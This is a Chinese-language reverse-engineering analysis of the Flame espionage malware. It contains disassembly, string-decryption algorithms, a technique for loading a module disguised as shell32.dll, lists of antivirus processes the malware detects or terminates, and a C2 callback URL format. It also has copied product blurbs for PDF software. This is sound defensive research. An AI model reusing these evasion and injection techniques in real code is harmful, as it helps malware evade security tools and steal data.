100508A9  xor edx,edx
  
100508AB  xor al,dl
  
100508AD  xor cl,al
  
100508AF  mov byte ptr ds:[edi+esi],cl
  
100508B2  inc esi
  
100508B3  dec dword ptr ss:[esp+0xC]
  
100508B7  jnz short 0x10050898
  
经过对Flame调用Lua函数的分析总结发现Flame调用Lua脚本的方式。首先程序在初始化过程中在Lua环境内创建一些表,然后在这些表中保存Key,Value形式的键值对,后续通过获取指定的表,然后将表中指定的Key的值取出来,作为Lua代码执行。如以下代码所示,Flame的表名,及Key的名字时全部都是加密存储,使用时在将其解密。
mov eax,esi
  
call mssecmgr.100B932F                   ;  lua_createtable
  
mov esi,dword ptr ds:[edi+0xD4]
  
push mssecmgr.10304B78
      
call mssecmgr.1000E431                   ;  decode string "script"
  
add esp,0xC
  
push eax
  
call mssecmgr.100B917A                   ;  lua_pushstring
  
mov eax,dword ptr ds:[edi+0xBC]
  
mov edx,dword ptr ds:[edi+0xD4]
  
pop ecx
  
push eax
  
lea ecx,dword ptr ds:[edi+0xB0]
  
call mssecmgr.1000757C
      
push eax
  
mov eax,edx
  
call mssecmgr.100B9142                   ;  lua_pushlstring
  
mov esi,dword ptr ds:[edi+0xD4]
  
pop ecx
  
pop ecx
  
push -0x3
  
pop eax
  
call mssecmgr.100B93F4                   ;  lua_settable : set value
  
lea ecx,dword ptr ds:[edi+0x8C]
  
mov eax,dword ptr ds:[ecx]
  
图 3-11设置script的值
mov esi,dword ptr ds:[ebx+0xD4]
  
push mssecmgr.10304BB0
      
call mssecmgr.1000E431                   ;  decode string "_params"
  
pop ecx
  
push eax
  
mov eax,-0x2712
  
call mssecmgr.100B9285                   ;  table name is "_params"
  
mov esi,dword ptr ds:[ebx+0xD4]
  
mov dword ptr ss:[esp],mssecmgr.10304BCC
      
call mssecmgr.1000E431                   ;  decode string "script"
  
pop ecx
  
push eax
  
call mssecmgr.100B917A                   ;  lua_pushstring
  
mov esi,dword ptr ds:[ebx+0xD4]
  
pop ecx
  
push -0x2
  
pop eax
  
call mssecmgr.100B9269                   ;  lua_gettable get lua script
  
mov esi,dword ptr ds:[ebx+0xD4]
  
push -0x2
  
pop eax
  
call mssecmgr.100B8DFE                   ;  lua_remove
  
mov eax,dword ptr ds:[ebx+0xD4]
  
and dword ptr ss:[esp+0x10],0x0
  
lea ecx,dword ptr ss:[esp+0x10]
  
push ecx
  
push -0x1
  
push eax
  
call mssecmgr.100B9C8B                   ;  luaL_checklstring
  
mov esi,dword ptr ds:[ebx+0xD4]
  
add esp,0xC
  
push mssecmgr.10304BE8
      
mov edi,eax
  
call mssecmgr.1000E431                   ;  decode string "script"
  
pop ecx
  
push eax
  
push dword ptr ss:[esp+0x14]
  
mov eax,edi
  
call mssecmgr.100BA0B2                   ;  luaL_loadbuffer load lua script
  
test eax,eax
  
pop ecx
  
pop ecx
  
jnz mssecmgr.100B8381
      
mov ecx,dword ptr ds:[ebx+0xD4]
  
xor edi,edi
  
push eax
  
inc edi
  
call mssecmgr.100B966F                   ;  lua_pcall call lua script
  
图 3-12读取并执行script的值
分析发现加密字符串中存在有关虚拟打印机相关字符串, 和大量用作PDF转换的相关软件的名字,推测为判断本机是否安装此类软件,可能会利用这些软件进行转换操作。
add     esp, 0Ch
  
push    offset unk_102CA098
  
call    near ptr my_decode_strW ; decode : "Microsoft Office
  Document Image Writer"
  
; Microsoft Office Document Imaging Writer 独立安装版
  有些人希望把pdf格式的文件转化成word或者jpeg,因此去寻找专用的软件,其实这些软件用起来并不好用,我们可以用office自带的虚拟打印机完成快速转化。 
    1、pdf-word:用Adobe Reader 打开文件,选择打印文件,打印机选为Microsoft Office Document Imaging Writer,打印。会生成一系列*.mdi文件,
用Microsoft Office Document Imaging (office工具)打开,用“工具”下的“将文件发送到word”完成转换(相比尚书等软件正确率很高!)。 
  2、pdf-jpeg:按上面的步骤把pdf转成mdi,再用Microsoft Office Document Imaging将mdi转存为*.tag图像文件。一般的绘图软件都可识别tag,
再用这些软件将tag转存成jpeg(这种方法适用通篇文章的转化,局部copy大家都会,不用罗索了)。
  
  
add     esp, 4
  
mov     [ebp+var_A0], eax
  
push    offset unk_102CA148
  
call    near ptr my_decode_strW ;
  decode : "Microsoft XPS Document Writer"
  
;也是一款windows虚拟打印机
  
  
  
add     esp, 4
  
mov     [ebp+var_9C], eax
  
push    offset unk_102CA1B0
  
call    near ptr my_decode_strW ; decode : "Send to Onenote 2007"
      
; Office OneNote 2007 是一种数字笔记本,它为用户提供了一个收集笔记和信息的位置,并提供了强大的搜索功能和易用的共享笔记本:搜索功能使用户可以迅速找到所需内容,共享笔记本使用户可以更加有效地管理信息超载和协同工作。
  
;引自 : http://baike.baidu.com/view/1439935.htm?wtp=tt
  
  
add     esp, 4
  
mov     [ebp+var_98], eax
  
push    offset unk_102CA200
  
call    near ptr my_decode_strW ; decode : "win2pdf"
      
; Win2PDF是一款快速、方便、不贵的工具软体,能够制作出PDF档案格式的电子档案。Win2PDF可以在Windows
  NT、Windows
    2000和Windows
      XP下安装成印表机。要制作PDF档案就像从列印功能表内选择印表机一样简单,你可以在Internet
        Explorer、Microsoft
          Word、Excel、Quicken或其他应用软体里使用。档案储存对话框里可浏览、观看被制作出来的档案、并自动附加在电子邮件里,或者传送到Palm等手持装置。 
  注:未注册版本会在每份文件里加上一页额外的产品资讯页面。 
  
  
add     esp, 4
  
mov     [ebp+var_94], eax
  
push    offset unk_102CA238
  
call    near ptr my_decode_strW ; decode : "pdfconverter"
      
; PDFconverter 该软件可以转换 PDF 文件为包括 BMP, DCX, FAX, HTML, JPEG, JPG, PCX, PNG, PS,
  postscript, SGI, TGA, TIFF 和 TIF 在内的10种类型的图像,并且可以转换为文本和 HTML 文件。向导界面允许你为单独和批量转换指定选项。该软件包括自动旋转,DPI,重新设置尺寸,高级的 HTML 选项以及用于可压缩图像的压缩统计功能。
  
  
  
add     esp, 4
  
mov     [ebp+var_90], eax
  
push    offset unk_102CA278
  
call    near ptr my_decode_strW ; decode : "jaws pdf creator"
      
; Jaws PDF Creator是一个来自所有可供应和可信赖的文件方式而创建的PDF文件,符合任何应用程序。使用Jaws PDF
  Creator,商业能很容易创建电子文档可以通过各种硬件和软件来分享。它提供了充分和灵活的PDF控制结构设置和允许用户或社团管理员应该利用社团标准预先确定PDF的结构设置选择最接近PDF的一代。Jaws Pdf
    Creator安装成为一个虚拟打印机,基本特点是,一旦你按下打印键,它就会抓取信息并转换成为一个PDF文件。
  
  
add     esp, 4
  
mov     [ebp+var_8C], eax
  
push    offset unk_102CA10C
  
call    near ptr my_decode_strW ; decode : "pdffactory"
      
; pdfFactory 产品提供了比其他程序提供得更简单、更有效率和更少的花费的创建 PDF 文件的解决方案。pdfFactory
  Pro标准版本用来创建 pdf 文件,pdfFactory
    Pro用于需要安全的 PDF(法律文档、公司信息等)和其他高级功能的用户。 
  
  
add     esp, 4
  
mov     [ebp+var_88], eax
  
push    offset unk_102CA2C0
  
call    near ptr my_decode_strW ; decode : "pdffactory pro"
      
; pdffactory pro一款为你提供了一个快捷的方式制作PDF文档的pdf编辑软件,更有效,更便宜。它同时支持32位和64位。PdfFactory在安装之后,并不会出现一个通常意义上的程序运行方式,它的运行时通过生成一个虚拟的PdfFactory打印机来实现的,所以在开始运行菜单中找不到它的执行程序。通过虚拟的“打印”功能,将各类可打印文档,如TXT、DOC、PPT等文件直接转换成PDF文件。并且,这个过程是不需要另外安装PDF文档浏览器的。软件的使用很简单。安装之后,打开你需要转换的文档,选择其中的打印功能,就能看到名为PdfFactory的打印机了。软件很小,但是很实现的功能却不少。
  
  
add     esp, 4
  
mov     [ebp+var_84], eax
  
push    offset unk_102CA338
  
call    near ptr my_decode_strW ; decode : "fineprint pdffactory pro"
      
; pdfFactory 产品提供了比其他程序提供得更简单、更有效率和更少的花费的创建 PDF 文件的解决方案。pdfFactory
  Pro标准版本用来创建 pdf 文件,pdfFactory
    Pro用于需要安全的PDF(法律文档、公司信息等)和其他高级功能的用户。
  
  
add     esp, 4
  
mov     [ebp+var_80], eax
  
push    offset aXcNPsiGiOaZ ; 
  
call    near ptr my_decode_strW ; decode : "acrobat distiller"
      
; Acrobat Distiller是创建PDF文件的执行软件。在启动Distiller 后,用户可以看到一个类似于RIP软件的窗口。3.0版本的没有选择标准,5.0版本以后,现在大多都在用7.0通常有个选择对话框,可以根据需要选择使用,搞印刷的朋友需要重新设置一下,否则可能会出现一些问题,例如:出菲林时可能RIP不了,无法解释;具体设置可在选择框中仔细选择一下,都是些分辨率、字体等的问题,相信搞印刷制版的朋友不会陌生。Adobe的 CPSI(PostScript解释器)是它的基础,虽然它不能栅格化,却能创建PDF文件。
  
  
add     esp, 4
  
mov     [ebp+var_7C], eax
  
push    offset unk_102CA304
  
call    near ptr my_decode_strW ; decode : "pdf995"
      
; “PDF995”是一款免费的PDF格式电子书制作软件,可以迅速和专业的把所有流行文档(如“Microsoft Word”文件)转换成PDF格式。可以在www.pdf995.com免费下载。以下是使用PDF995把文件转换成PDF资料格式的方法。
  
  
add     esp, 4
  
mov     [ebp+var_78], eax
  
push    offset unk_102CA3DC
  
call    near ptr my_decode_strW ; decode : "PDFCreator"
      
; PDFCreator是一个开源应用程序,支持windows打印功能的任何程序都可以使用它创建PDF文档。使用PDFCreator能够创建PDF文档,Postscript文档,Encapsulated
  Postscript 文件;它也能生成PNG,BMP,JPEG,PCX,TIFF图形格式文件,强大的合并功能允许你将多个独立的文档转化成一个PDF文件。
  
  
add     esp, 4
  
mov     [ebp+var_74], eax
  
push    offset unk_102CA418
  
call    near ptr my_decode_strW ; decode : "primopdf"
      
;  PrimoPDF是一个免费、使用简单的文件转PDF格式软件,这套PrimoPDF可以“伪装”自己是一台打印机,然后把所有可以打印的文件都用PDF格式输出,所以不论是Word、html、Excel、jpg文件等等,只要是可以打印的文件,全部都可以转成PDF格式。
  
  
add     esp, 4
  
mov     [ebp+var_70], eax
  
push    offset unk_102CA450
  
call    near ptr my_decode_strW ; decode : "sonic pdf"
      
; Sonic PDF Creator是一款功能强大的PDF工具,该软件将可以帮助你对PDF进行各种操作,例如创建,转换,加水印,合并和分离PDF文档。软件拥有几大特性。例如,软件创建PDF文档的速度首屈一指,在同类软件中名列前茅。软件还支持从Word,Excel,PPT等等格式直接转化为PDF文档,并且在转换的过程中并不改变源文件的文档布局,确实令人惊叹。
  
  
add     esp, 4
  
mov     [ebp+var_6C], eax
  
push    offset unk_102CA490
  
call    near ptr my_decode_strW ; decode : "bluebeam pdf printer"
      
; Bluebeam的 PDF Revu 对那些需要简单又智能的转换方案的用户来说可算是最理想的了.
  Bluebeam可以在Word,
    Excel 或者是PowerPoint的控制工具面板中田间控制按钮,所以转换步骤就会变得前所未有的简单 。而对于其他 Windows 软件(比若说WordPerfect,
      Outlook, image files来说.) Bluebeam提供了Bluebeam
        PDF Printer创建驱动,直接创建PDF ,还支持其他九种文件的转换,真的是十分简单啊.
  
  
add     esp, 4
  
mov     [ebp+var_68], eax
        
push    offset unk_102CA4E0
  
call    near ptr my_decode_strW ; decode : "cutepdf writer"
      
; CutePDF
  Writer 几乎能从打印方式支持所有文件格式到高质量PDF的转换。个人和商务使用都是绝对免费的。无水印,无广告,支持64位的 Windows.
  
  
add     esp, 4
  
mov     [ebp+var_64], eax
  
push    offset unk_102CA528
  
call    near ptr my_decode_strW ; decode : "broadgun
  pdfmac0hine"
  
; pdfMachine是一款PDF文件生成工具,可以很轻松地创建高质量的PDF文件。
  有以下特点:易于安装;简单易用,只需点击一下鼠标;
  
  
add     esp, 4
  
mov     [ebp+var_60], eax
  
push    offset unk_102CA578
  
call    near ptr my_decode_strW ; decode : "spss pdf converter"
      
; 一款PDF的编辑,转换软件。为PDF转换提供了完整的解决方案,能合并,转换,直接编辑PDF文件。支持的格式有:Microsoft
  Word,Corel WordPerfect, Execl类制表格式等。
  
  
  
add     esp, 4
  
mov     [ebp+var_5C], eax
  
push    offset unk_102CA5F8
  
call    near ptr my_decode_strW ; decode : "quicken pdf printer"
      
;一款惠普官方打印机,是否支持PDF打印中间转换有待确定。
  
  
add     esp, 4
  
mov     [ebp+var_58], eax
  
push    offset unk_102CA648
  
call    near ptr my_decode_strW ; decode : "pagemanager pdf
  writer"
  
; 就是可以把Office文档或者影像文档转换为PDF的工具软件,可以从网上下载。
  
  
add     esp, 4
  
mov     [ebp+var_54], eax
        
push    offset unk_102CA6D8
  
call    near ptr my_decode_strW ; decode : "pdfcamp printer"
      
  
  
add     esp, 4
  
mov     [ebp+var_50], eax
  
push    offset unk_102CA720
  
call    near ptr my_decode_strW ; decode : "mindmanager pdf
  writer"
  
  
  
add     esp, 4
  
mov     [ebp+var_4C], eax
  
push    offset aJvCfS6yvsSl ; 
  
call    near ptr my_decode_strW ; decode : "solid converter
  pdf"
  
;Solid Converter PDF是一套专门将PDF文件转换成DOC的软件,除了转换成DOC文件外,还可以转换成RTF以及Word XML文件。除此之外,它还有一个图片撷取功能,可以让我们将PDF档里的图片撷取出来,以及将PDF档里的表格撷取出来,并输出到Excel里,方便我们编辑表格里的资料。
  
  
add     esp, 4
  
  
发现初始化RPC连接的字符串绑定
  
mov     [ebp+str_buffer_1], edx
  
mov     [ebp+var_2C4], 0
  
lea     eax, [ebp+free_string]
  
push    eax             ;
  string
  
push    offset unk_102CA7C8
      
call    near ptr my_decode_strW ; decode : ""
  
add     esp, 4
  
push    eax             ;
  string
  
push    offset unk_102CA7F0
      
call    near ptr my_decode_strW ; decode : "\pipe\spoolss"
  
add     esp, 4
  
push    eax             ;
  network addr
  
mov     ecx, [ebp+c1]
  
push    ecx             ;
  string
  
push    offset unk_102CA834
      
call    near ptr my_decode_strW ; decode : "ncacn_np"
  
add     esp, 4
  
push    eax             ;
  string
  
push    offset unk_102CA870
      
call    near ptr my_decode_strW ; decode : 
  
"12345678-1234-abcd-ef00-0123456789ab"
  
add     esp, 4
  
push    eax             ;
  ObjUuid
  
call    RpcStringBindingComposeW
      
mov     [ebp+RPC_STATUS], eax
  
cmp     [ebp+RPC_STATUS], 0
  
jz      short loc_101
  
经确认CCID为"12345678-1234-abcd-ef00-0123456789ab"的RPC功能为后台处理程序功能。其操作码与对应功能说明,见附录八。 
  分析发现新的解密函数两个,其使用的解密算法与先前发现的一致,但是通过对这两个新发现的解密函数进行交叉索引可以解密大量之前未发现的字符串,待后续分析其加密字符串作用。 
  分析发现flame中解密出的字符串可能为调用putty组件的参数如下图。 

发现可能为flame连接web服务器的字符串信息。
对flame注入到services.exe进程中的shell code提取,并按注入顺序及相对位置进行合并,然后通过双机内核调试shell code。主要发现,shell code的主函数的参数为一个函数表,表中应为shell code后续功能需要的函数,如下表。
函数
        | 
  
kernel32!OpenMutexW
                | 
  
kernel32!VirtualAlloc
                | 
  
kernel32!VirtualFree
                | 
  
kernel32!VirtualProtect
                | 
  
kernel32!LoadLibraryA
                | 
  
kernel32!LoadLibraryW
                | 
  
kernel32!GetModuleHandleA
                | 
  
kernel32!GetProcAddress
                | 
  
ntdll!memcpy
                | 
  
ntdll!memset
                | 
  
kernel32!CreateFileMappingW
                | 
  
kernel32!OpenFileMappingW
                | 
  
kernel32!MapViewOfFile
                | 
  
kernel32!UnmapViewOfFile
                | 
  
kernel32!ReleaseMutex
                | 
  
ntdll!NtQueryInformationProcess
                | 
  
ntdll!RtlGetLastWin32Error
                | 
  
kernel32!CreateMutexW
                | 
  
kernel32!WaitForSingleObject
                | 
  
kernel32!CloseHandle
                | 
  
kernel32!CreateFileW
                | 
  
kernel32!FreeLibrary
                | 
  
kernel32!Sleep
                | 
  
kernel32!LocalFree
                | 
  
对Flame注入到services.exe进程中的shell code进行分析发现,其将mssecmgr.ocx模块伪装为shell32.dll模块加载的实现方式是其先加载shell32.dll模块并获取其句柄,然后创建其文件映射,但是此处调用函数时传递的映射文件的大小为mssecmgr.ocx模块的大小,然后创建其视图,视图的文件大小也为mssecmgr.ocx文件大小。然后将mssecmgr.ocx的整个文件头(DOS头+PE头+区块表)拷贝到shell32.dll的文件视图中。 
  最后通过mssecmgr.ocx的区块信息循环讲各个区块按着其相对虚拟地址复制到shell32.dll的视图中。 
  loc_1C4E27: 
movzx   eax, word ptr [ebp+8] ; section index
  
 mov     ecx, [ebp-34h]  ; section table
  
 imul    eax, 28h        
      
 add     eax, ecx        ; section address
  
 push    dword ptr [eax+10h]
  
 mov     edx, [eax+14h]  
      
 mov     eax, [eax+0Ch]  ; section rva
  
 add     eax, [ebp-0Ch]  ; section address of shell32.dll view
  
 lea     ecx, [esi+0B30h]
  
 add     edx, ecx        
      
 push    edx
  
 push    eax
  
 call    dword ptr [esi+20h]
  
;
  ntdll!memcpy() copy section to shell32.dll view buffer
  
 add     esp, 0Ch        
      
 inc     dword ptr [ebp+8]
  
 mov     ax, [ebp+8]
  
 cmp     ax, [edi+6]         ;while
  all sections
  
 jb      short loc_1C4E27 ;
  
3.2 Soapr32.ocx模块分析
Soapr32.ocx是“火焰”病毒运行后释放的病毒文件之一,我们通过对此模块的分析了解到此模块是用来收集信息的功能模块。Soapr32.ocx模块中的很多功能都是获取系统中的一些信息的,例如:安装的软件信息、网络信息、无线网络信息、USB信息、时间以及时区信息等。
通过对Soapr32.ocx模块的分析,我们总结出了该模块的以下功能信息:
具体内容如下: 
  Soapr32.ocx模块通过注册表信息可以查看系统中是否安装如下安全软件: 
Soapr32.ocx模块尝试遍历进程查看系统运行的进程中是否有以下进程存在:
Soapr32.ocx模块在TEMP目录下释放临时文件,TEMP文件中的内容为加密内容:
Soapr32.ocx模块遍历Program Files下所有目录:
- 检查注册表时区信息:
 
0006FE08  80000002  |hKey = HKEY_LOCAL_MACHINE
  0006FE0C  1001B57B  |Subkey = "SYSTEM\CurrentControlSet\Control\TimeZoneInformation" 
  0006FE10  00000000  |Reserved = 0 
  0006FE14  00020019  |Access = KEY_READ
  0006FE18  0006FE24   \pHandle = 0006FE24 
  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]
  "forceguest"=dword:00000001
00D43940                              xiaomo................TP-LINK_6C90DE.
  00D43980   ......admin.................luck.................simao...........
  00D439C0   .....ChinaUnicom..........CMCC.................TP-LINK_CN.......
  00D43A00   ....user.................EWA@ECN................................
参数的结构如下:
[byte]
                 Sign
                  | 
      [word]
                 Length
                  | 
      [dword]
                 Address
                  | 
    
判断解密标志,压入解密长度和解密地址。
0x1000C0E0    proc near
  
                push    esi
  
                mov     esi, [esp+8]
  
                cmp     byte ptr [esi+8], 0
  
                jnz     short 0x1000C0F0
      
                lea     eax, [esi+0Bh]
  
                pop     esi
  
                retn
  
0x1000C0F0:
  
                movzx   eax, word ptr [esi+9]
  
                push    edi
  
                push    eax
  
                lea     edi, [esi+0Bh]
  
                push    edi
  
                call    0x1000C0BC
      
                pop     ecx
  
                pop     ecx
  
                mov     eax, edi
  
                pop     edi
  
                mov     byte ptr [esi+8], 0
  
                pop     esi
  
                retn
  
0x1000C0E0  endp
  
decrypt
  the data:
  
0x1000C0BC    proc near
  
                push    edi
  
                xor     edi, edi
  
                cmp     [esp+0Ch], edi
  
                jbe     short 0x1000C0DE
      
                push    esi
  
0x1000C0C6:
  
                mov     eax, [esp+8+8]
  
                lea     esi, [edi+eax]
  
                mov     eax, edi
  
                call    0x1000C0A2
      
                sub     [esi], al
  
                inc     edi
  
                cmp     edi, [esp+8+C]
  
                jb      short 0x1000C0C6
      
                pop     esi
  
0x1000C0DE:
  
                pop     edi
  
                retn
  
0x1000C0BC  endp
  
计算方法: 
  EAX=(0x11h+n)*(0xbh+n) 
  note:n is the offset  of the decrypted byte.
  AL=(M1)xor(M2)xor(M3)xor(M4) 
  Decrypted data =  Encrypted data – AL

图 3-13 AL=(M1)xor(M2)xor(M3)xor(M4)
3.3Advnetcfg.ocx模块分析
Advnetcfg.ocx是“火焰”病毒运行后释放的病毒文件之一,我们通过对此模块的分析,了解到此模块的作用为截取屏幕信息。Advnetcfg.ocx运行后会把自身和%windir%\system32\ccalc32.sys文件的创建时间、修改时间和访问时间修改和系统中的Kernel32.dll一样。 
  Advnetcfg.ocx使用了字符串混淆技术,这和Nteps32.ocx的算法是一样的。 
  在Advnetcfg.ocx文件中,解密函数被调用179次,解密函数的起始地址为1000BE16。算法解密流程图如下: 

图 3-14解密流程图
函数0x1000BE16有一个参数,该参数为一个结构体,结构如下:
[byte]
               Sign
                | 
    [word]
               Length
                | 
    [dword]
               Address
                | 
  
该函数的返回值为,输入参数结构体中的解密数据的起始地址。在函数解密成功后还将会修改解密标志。 
  具体代码见下图: 

图 3-15 解密函数1000BE16
循环解密字符串函数: 
  该函数有2个参数,第一个是解密字符串的起始地址,第二个是字符串长度,函数没有返回值。 
图 3-16 解密函数1000BDA7
解密密钥部分: 
  计算方法: 
  EAX=(0xAh+n)*(0x5h+n)
  note:n is the offset of the  decrypted byte.
  AL=(M1)xor(M2)xor(M3)xor(M4)
  Decrypted data = Encrypted data –  AL

图 3-17 AL=(M1)xor(M2)xor(M3)xor(M4)

图 3‑18解密函数1000BD68
检测大多数(超过90多个进程)的反病毒、防火墙以及其他安全产品的进程。附录三列举一大部分国外流行的反病毒和安全软件进程列表(详见附录三:Advnetcfg.ocx模块检测国外主要反病毒软件进程列表)。 
截取屏幕所使用的主要函数如下: 
查看系统注册表中是否有KasperskyLab项判断多个版本:
3.4 Nteps32.ocx模块分析
Nteps32.ocx是“火焰”病毒运行后释放的病毒文件之一,我们通过对此模块的分析了解到此模块的作用为键盘记录和截取屏幕信息。Nteps32.ocx运行后会把自身和Boot32drv.sys文件的创建时间、修改时间和访问时间修改,就和系统中的Kernel32.dll一样。
以上临时文件对应着其不同的功能记录文件并做加密处理。例如:键盘记录、截屏信息等。
- 查看注册表中是否有卡巴斯基的注册表项
 - HKLM\SOFTWARE\KasperskyLab
 - HKLM\SOFTWARE\KasperskyLab\AVP6
 - HKLM\SOFTWARE\KasperskyLab\protected\AVP7
 - 该模块包含域名字符串列表信息,主要用来监视等操作。
 - live.com
 - .hotmail.
 - gawab.com
 - gmail.com
 - mail.
 - maktoob.com
 - rocketmail.com
 - yahoo.co
 - ymail.com
 
Nteps32.ocx模块还包含一个用于监测网络安全进程的列表,此列表数量在130左右个进程,都是国外一些防火墙产品、反病毒产品和一些安全产品等。列表详见附录四(附录四:Nteps32.ocx模块检测反病毒软件进程列表,其中有些进程也在别的模块中出现过。) 
  该模块有键盘记录功能和截取屏幕功能主要使用的函数如下: 
3.5 Msglu32.ocx模块分析
Msglu32.ocx是“火焰”病毒运行后释放的病毒文件之一,我们通过对此模块的分析了解到此模块是遍历系统中的各种类型的文件,读取特定文件类型文件的信息,将其写入到sql数据库中,同时也可以收集文件中与地域性相关的一些信息。
- 查看注册表中是否有卡巴斯基的注册表项。
 - HKLM\SOFTWARE\KasperskyLab\AVP6
 - HKLM\SOFTWARE\KasperskyLab\protected\AVP7
 - 检测进程中的如下进程列表,并将之结束。
 
AntiHook.exe、EngineServer.exe、FAMEH32.exe、FCH32.exe、Filemon.exe、FPAVServer.exe、FProtTray.exe、FrameworkService.exe、fsav32.exe、fsdfwd.exe、fsgk32.exe、fsgk32st.exe、fsguidll.exe、FSM32.exe、FSMA32.exe、FSMB32、fspc.exe、fsqh.exe、fssm32.exe、jpf.exe、jpfsrv.exe、mcagent.exe、mcmscsvc.exe、McNASvc.exe、McProxy.exe、McSACore.exe、Mcshield.exe、mcsysmon.exe、McTray.exe、mcupdmgr.exe、mfeann.exe、mfevtps.exe、MpfSrv.exe、naPrdMgr.exe、procexp.exe、PXAgent.exe、PXConsole.exe、shstat.exe、sp_rsser.exe、SpywareTerminator.exe、SpywareTerminatorShield.exe、UdaterUI.exe、VsTskMgr.exe
     病毒在对上述的各个类型的文件进行遍历时,将会记录文件的下列信息,创建时间、修改时间、作者、创建者、注释、公司、版权、标题、信息、版本编号、关键字数量等。上面的这些信息将会存储到数据库中,存入数据库主要是通过如下一些命令来完成: 
  update "%w".sqlite_sequence  set name = %q where name = %q
  update sqlite_temp_master set sql =  sqlite_rename_trigger(sql, %q), tbl_name = %q where %s;
  update "%w".%s set sql =  substr(sql,1,%d) || ', ' || %q || substr(sql,%d) where type = 'table' and name  = %q
  update %q.%s set type='%s', name=%q,  tbl_name=%q, rootpage=#%d, sql=%q where rowid=#%d
  select 'create table vacuum_db.' ||  substr(sql,14)   from sqlite_master where  type='table' and name!
  select 'create unique index vacuum_db.'  || substr(sql,21)   from sqlite_master  where sql like 'create unique index %'
  insert into vacuum_db.sqlite_master   select type, name, tbl_name, rootpage,  sql    from main.sqlite_master   where type='view' or type='trigger'      or (type='table' and rootpage=0)

图 3-19在内存中发现的一些SQL语句
  该模块通过使用postscript的图像函数,可以解析pdf文件中的阿拉伯文字和希伯来文字。 

图 3-20使用postscript图像函数解析pdf文件 
  检测到指定格式的文件中(比如图片文件)如果含有Geotagging信息(经度、纬度、海拔等)后,将会提取出这些信息,这些信息包括经度、纬度和海拔等。 

图 3-21检测含有Geotagging信息的指定格式的文件
  程序中大量数据被加密。加密算法代码位置如下:

图 3-22加密函数1000CBBE
  对该函数的调用有2个函数。分别位置如下: 
  第一个调用: 

图 3-23第一处调用解密函数

图 3-24第二处调用解密函数
 
  解密算法说明: 
  函数有2个参数:edx[解密串的长度],eax[解密串的起始地址]
  函数有一个返回值:eax[解密后字串的起始地址]
  解密算法: 
  ECX=(0xBh+n)*(0xBh+0xCh+n)+[0x101863EC] 
  note:n is the offset of the decrypted byte.
  CL=(M1)xor(M2)xor(M3)xor(M4)
  Decrypted data = Encrypted data – CL

图 3-25 CL=(M1)xor(M2)xor(M3)xor(M4)
调用1功能说明: 
  函数有一个参数:arg.1[调用时压入堆栈的一个地址]
  解密字符串长度:[word]arg.1+0x9h
  解密字符串起始地址:[dword]arg.1+0xBh
  返回值:解密后字符串的起始地址 
  调用2功能说明: 
  函数有一个参数:arg.1[调用时压入堆栈的一个地址]
  解密字符串长度:[word]arg.1+0x12h
  解密字符串起始地址:[dword]arg.1+0x14h
  返回值:arg.1[调用时压入堆栈的一个地址] 
  返回值:解密后字符串的起始地址 
3.6 Wusetupv.exe模块分析
Wusetupv.exe是“火焰”病毒运行后释放的病毒文件之一,我们通过对此模块的分析了解到,此模块是用来收集本机各个接口的信息、进程信息,注册表键值信息。 
  该样本使用MITM方法,利用了微软的数字签名漏洞。 

图 3-26Flame使用微软数字签名

图 3-27Flame使用微软数字签名
Wusetupv.exe运行后创建互斥量"WPA_NTOS_MUTEX"。 
  查找"C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~DHF593.tmp"文件,并读取文件内容。 
  尝试下载文件存储为"C:\WINDOWS\temp\~ZFF042.tmp"(猜测下载的就是Flame的主模块“Mssecmgr.ocx”) 

图 3-28下载文件

图 3-29存储为"C:\WINDOWS\temp\~ZFF042.tmp"
从操作系统的MIB库中读出本机各个接口的当前信息,如接口数目、类型、速率、物理地址、接收/发送字节数、错语字节数等。
图 3-30收集本机各个接口信息
  收集本机进程信息,加密后作为参数回传。 

图 3-31收集进程信息并加密
创建指定格式的URL回传主机信息: 
  http://MSHOME-<STRING>/view.php?mp=1&jz=<STRING>&fd=<STRING>&am=<STRING>&ef=<STRING>&pr=<STRING>&ec=<STRING>&ov=<STRING>&pl=<STRING>
  Jz参数是随机创建的,主要功能代码如下: 

图 3-32创建Jz参数的函数代码
am参数是MAC地址,与0x55异或加密(如下图)。

图 3-33MAC地址的加密函数
 
  ef参数是IP地址,与0x44异或加密(如下图)。 

图 3-34 IP地址的加密函数
ov参数是加密后的系统版本号。 
  Pl参数是加密后的进程列表。 
  加密方式采用简单的替换,列表如下[6]: 
  hXk1Qrbf6VH~29SMYAsCF-q7Omad0eGLojWi.DyvK8zcnZxRTUpwE_B5tuNPIJgl43
  ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-. 
  查询系统注册表 
查看系统注册表中是否有KasperskyLab项判断多个版本:
3.7 Boot32drv.sys解密分析
Boot32drv.sys是一个加密数据文件并不是PE文件,加密方式是通过与0xFF做XOR操作。 
  加密文件如下: 

图 3-35 加密的“Boot32drv.sys”的文件内容
解密代码如下: 
  pop esi          ; To  decrypt data address 
  mov edi,esi     ; To decrypt data address 
  pop ecx          ; To  decrypt the length of the data 
  _lib: 
  cmp ecx,0 
  jz  _end
  lodsb 
  xor al,255 
  dec ecx 
  stosb 
  jmp _lib
  _end: 
  解密后的数据如下: 
  001529A8  00 0A 00 00 00 01 01 DC 03 00 00 01 90 01 00  1B  .....?..?.      
  001529B8  31 B3 C1 FF FF FF FF FF FF FF 02 04 00 00 00  B9  1沉??     
  001529C8  04 00 00 1E 9B C6 2B 06 04 00 00 00 40 77 1B  00  浧w.      
  001529D8  AC 8E C5 72 03 48 00 00 00 27 00 00 00 00 00  00  瑤舝H...'......
  001529E8  00 FF FE 52 00 45 00 41 00 52 00 5F 00 57 00  49  ..E.A.R._.W.I
  001529F8  00 4E 00 44 00 4F 00 57 00 2E 00 44 00 45 00  53  .N.D.O.W...D.E.S
  00152A08  00 4B 00 54 00 4F 00 50 00 5F 00 53 00 41 00  4D  .K.T.O.P._.S.A.M
  00152A18  00 50 00 4C 00 45 00 5F 00 52 00 41 00 54 00  45  .P.L.E._.R.A.T.E
  00152A28  00 F1 62 CA E6 FF FF FF FF FF FF FF FF FF FF  06  .馼舒
  00152A38  04 00 00 00 C0 D4 01 00 75 21 8F F4 03 46 00  00  涝.u!忯F..
  00152A48  00 8F 00 00 00 34 00 00 00 FF FE 52 00 45 00  41  .?..4....E.A
  00152A58  00 52 00 5F 00 57 00 49 00 4E 00 44 00 4F 00  57  .R._.W.I.N.D.O.W
